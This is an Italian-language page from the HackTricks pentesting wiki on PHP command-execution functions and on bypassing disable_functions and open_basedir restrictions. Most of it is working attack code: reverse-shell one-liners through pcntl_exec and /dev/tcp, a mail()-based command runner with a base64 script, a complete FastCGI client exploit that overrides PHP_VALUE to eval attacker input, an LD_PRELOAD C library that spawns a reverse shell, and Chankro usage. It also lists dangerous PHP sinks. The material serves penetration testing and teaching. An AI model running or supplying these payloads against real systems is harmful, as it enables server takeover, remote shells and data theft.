Italian - Ht
HackTricks Training Twitter Linkedin Sponsor

PHP - Useful Functions & disable_functions/open_basedir bypass

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Esecuzione di Comandi e Codice PHP

Esecuzione di Comandi PHP

Nota: Una p0wny-shell webshell php può automaticamente controllare e bypassare le seguenti funzioni se alcune di esse vengono disabilitate.

exec - Restituisce l'ultima riga dell'output dei comandi

echo exec("uname  -a");

passthru - Passa direttamente l'output dei comandi al browser

echo passthru("uname -a");

sistema - Passa l'output dei comandi direttamente al browser e restituisce l'ultima riga

echo system("uname -a");

shell_exec - Restituisce l'output dei comandi

echo shell_exec("uname -a");

`` (backticks) - Stesso funzionamento di shell_exec()

echo `uname -a`

popen - Apre una pipe di lettura o scrittura al processo di un comando

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Simile a popen() ma con un maggiore grado di controllo

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Esegue un programma (per impostazione predefinita nel PHP moderno e non così moderno è necessario caricare il modulo pcntl.so per utilizzare questa funzione)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Questa funzione viene utilizzata per inviare email, ma può anche essere abusata per iniettare comandi arbitrari all'interno del parametro $options. Questo perché di solito la funzione php mail chiama il binario sendmail all'interno del sistema e ti permette di inserire opzioni aggiuntive. Tuttavia, non sarai in grado di vedere l'output del comando eseguito, quindi è consigliabile creare uno script shell che scriva l'output su un file, eseguirlo utilizzando mail e stampare l'output:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Questa funzione può essere utilizzata per caricare dinamicamente un'estensione PHP. Questa funzione non sarà sempre presente, quindi è necessario verificare se è disponibile prima di cercare di sfruttarla. Leggi questa pagina per imparare come sfruttare questa funzione.

Esecuzione del Codice PHP

Oltre a eval, ci sono altri modi per eseguire il codice PHP: include/require possono essere utilizzati per l'esecuzione remota del codice PHP sotto forma di vulnerabilità di Inclusione di File Locale e Inclusione di File Remoto.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Le funzioni disabilitate sono le impostazioni che possono essere configurate nei file .ini in PHP che vietano l'uso delle funzioni indicate. Open basedir è l'impostazione che indica a PHP la cartella a cui può accedere. L'impostazione PHP solitamente viene configurata nel percorso /etc/php7/conf.d o simile.

Entrambe le configurazioni possono essere visualizzate nell'output di phpinfo():

open_basedir Bypass

open_basedir configurerà le cartelle a cui PHP può accedere, non sarai in grado di scrivere/leggere/eseguire alcun file al di fuori di quelle cartelle, ma non sarai nemmeno in grado di elencare altre directory. Tuttavia, se in qualche modo riesci ad eseguire codice PHP arbitrario, puoi provare il seguente blocco di codici per cercare di bypassare la restrizione.

Elencazione delle directory con bypass glob://

In questo primo esempio viene utilizzato il protocollo glob:// con un bypass del percorso:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Nota1: Nel percorso puoi anche usare /e??/* per elencare /etc/* e qualsiasi altra cartella. Nota2: Sembra che parte del codice sia duplicata, ma in realtà è necessario! Nota3: Questo esempio è utile solo per elencare cartelle e non per leggere file

Completo bypass di open_basedir sfruttando FastCGI

Se vuoi saperne di più su PHP-FPM e FastCGI puoi leggere la prima sezione di questa pagina. Se php-fpm è configurato puoi abusarne per bypassare completamente open_basedir:

Nota che la prima cosa da fare è trovare dove si trova il socket unix di php-fpm. Di solito si trova sotto /var/run quindi puoi usare il codice precedente per elencare la directory e trovarlo. Codice da qui.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Richiesta non valida');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Questa app non può multiplexare [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Nuova richiesta rifiutata; troppo occupato [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Valore del ruolo sconosciuto [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// exploit reale inizia qui
if (!isset($_REQUEST['cmd'])) {
die("Controlla il tuo input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // payload php -- Non fa nulla
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Chiamata: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Questi script comunicheranno con il socket Unix di php-fpm (di solito situato in /var/run se viene utilizzato fpm) per eseguire codice arbitrario. Le impostazioni di open_basedir verranno sovrascritte dall'attributo PHP_VALUE che viene inviato. Nota come eval viene utilizzato per eseguire il codice PHP che invii all'interno del parametro cmd. Nota anche la linea 324 commentata, puoi rimuovere il commento e il payload si connetterà automaticamente all'URL fornito ed eseguirà il codice PHP contenuto lì. Basta accedere a http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); per ottenere il contenuto del file /etc/passwd.

Potresti pensare che proprio come abbiamo sovrascritto la configurazione di open_basedir possiamo sovrascrivere disable_functions. Beh, prova, ma non funzionerà, apparentemente disable_functions può essere configurato solo in un file di configurazione php .ini e le modifiche che esegui utilizzando PHP_VALUE non saranno efficaci su questa impostazione specifica.

Bypass di disable_functions

Se riesci ad eseguire codice PHP all'interno di una macchina, probabilmente vorrai passare al livello successivo ed eseguire comandi di sistema arbitrari. In questa situazione è comune scoprire che la maggior parte o tutte le funzioni PHP che consentono di eseguire comandi di sistema sono state disabilitate in disable_functions. Quindi, vediamo come puoi aggirare questa restrizione (se puoi)

Scoperta automatica del bypass

Puoi utilizzare lo strumento https://github.com/teambi0s/dfunc-bypasser e ti indicherà quale funzione (se presente) puoi utilizzare per aggirare disable_functions.

Bypass utilizzando altre funzioni di sistema

Torna all'inizio di questa pagina e verifica se una delle funzioni di esecuzione dei comandi non è disabilitata e disponibile nell'ambiente. Se ne trovi almeno una, potrai utilizzarla per eseguire comandi di sistema arbitrari.

Bypass di LD_PRELOAD

È ben noto che alcune funzioni in PHP come mail() eseguiranno binari all'interno del sistema. Pertanto, puoi abusarne utilizzando la variabile d'ambiente LD_PRELOAD per far caricare una libreria arbitraria che può eseguire qualsiasi cosa.

Funzioni che possono essere utilizzate per aggirare disable_functions con LD_PRELOAD

  • mail

  • mb_send_mail: Efficace quando il modulo php-mbstring è installato.

  • imap_mail: Funziona se è presente il modulo php-imap.

  • libvirt_connect: Richiede il modulo php-libvirt-php.

  • gnupg_init: Utilizzabile con il modulo php-gnupg installato.

  • new imagick(): Questa classe può essere abusata per aggirare le restrizioni. Tecniche di sfruttamento dettagliate possono essere trovate in un articolo completo qui.

Puoi trovare qui lo script di fuzzing che è stato utilizzato per trovare queste funzioni.

Ecco una libreria che puoi compilare per abusare della variabile d'ambiente LD_PRELOAD:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Bypass usando Chankro

Per sfruttare questa errata configurazione è possibile utilizzare Chankro. Questo è uno strumento che genererà un exploit PHP che è necessario caricare sul server vulnerabile ed eseguirlo (accedendovi tramite web). Chankro scriverà all'interno del disco delle vittime la libreria e il reverse shell che si desidera eseguire e utilizzerà il trucco LD_PRELOAD + la funzione PHP mail() per eseguire il reverse shell.

Si noti che per utilizzare Chankro, mail e putenv non possono apparire all'interno dell'elenco delle disable_functions. Nell'esempio seguente è possibile vedere come creare un exploit chankro per arch 64, che eseguirà whoami e salverà l'output in /tmp/chankro_shell.out, chankro scriverà la libreria e il payload in /tmp e il exploit finale sarà chiamato bicho.php (questo è il file che è necessario caricare sul server delle vittime):

#!/bin/sh
whoami > /tmp/chankro_shell.out

Traduzione

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

Se trovi che la funzione mail è bloccata dalle funzioni disabilitate, potresti comunque essere in grado di utilizzare la funzione mb_send_mail. Ulteriori informazioni su questa tecnica e Chankro qui: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" utilizzando le capacità di PHP

Nota che utilizzando PHP puoi leggere e scrivere file, creare directory e cambiare permessi. Puoi persino eseguire il dump dei database. Forse utilizzando PHP per enumerare la box puoi trovare un modo per scalare i privilegi/eseguire comandi (ad esempio leggendo qualche chiave ssh privata).

Ho creato una webshell che rende molto facile eseguire queste azioni (nota che la maggior parte delle webshell ti offrirà anche queste opzioni): https://github.com/carlospolop/phpwebshelllimited

Bypass dipendenti dai moduli/versione

Ci sono diversi modi per bypassare le disable_functions se viene utilizzato un modulo specifico o sfruttare una specifica versione di PHP:

Strumento automatico

Lo script seguente prova alcuni dei metodi commentati qui: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Altre interessanti funzioni PHP

Elenco delle funzioni che accettano callback

Queste funzioni accettano un parametro di stringa che potrebbe essere utilizzato per chiamare una funzione a scelta dell'attaccante. A seconda della funzione, l'attaccante potrebbe o meno avere la possibilità di passare un parametro. In tal caso potrebbe essere utilizzata una funzione di divulgazione delle informazioni come phpinfo().

Callbacks / Callables

Elenco delle funzioni da qui

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Divulgazione delle informazioni

La maggior parte di queste chiamate di funzione non sono sink. Ma potrebbe essere una vulnerabilità se i dati restituiti sono visibili a un attaccante. Se un attaccante può vedere phpinfo() è sicuramente una vulnerabilità.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Altro

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Funzioni del Filesystem

Secondo RATS tutte le funzioni del filesystem in php sono pericolose. Alcune di queste non sembrano molto utili per l'attaccante. Altre sono più utili di quanto si possa pensare. Ad esempio, se allow_url_fopen=On, allora un URL può essere utilizzato come percorso del file, quindi una chiamata a copy($_GET['s'], $_GET['d']); può essere utilizzata per caricare uno script PHP ovunque nel sistema. Inoltre, se un sito è vulnerabile a una richiesta inviata tramite GET, ciascuna di queste funzioni del filesystem può essere abusata per instradare un attacco verso un altro host attraverso il tuo server.

Gestore del filesystem aperto

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Scrivere sul filesystem (parzialmente in combinazione con la lettura)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Leggi dal filesystem

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

PreviousPHP TricksNextdisable_functions bypass - php-fpm/FastCGI

Last updated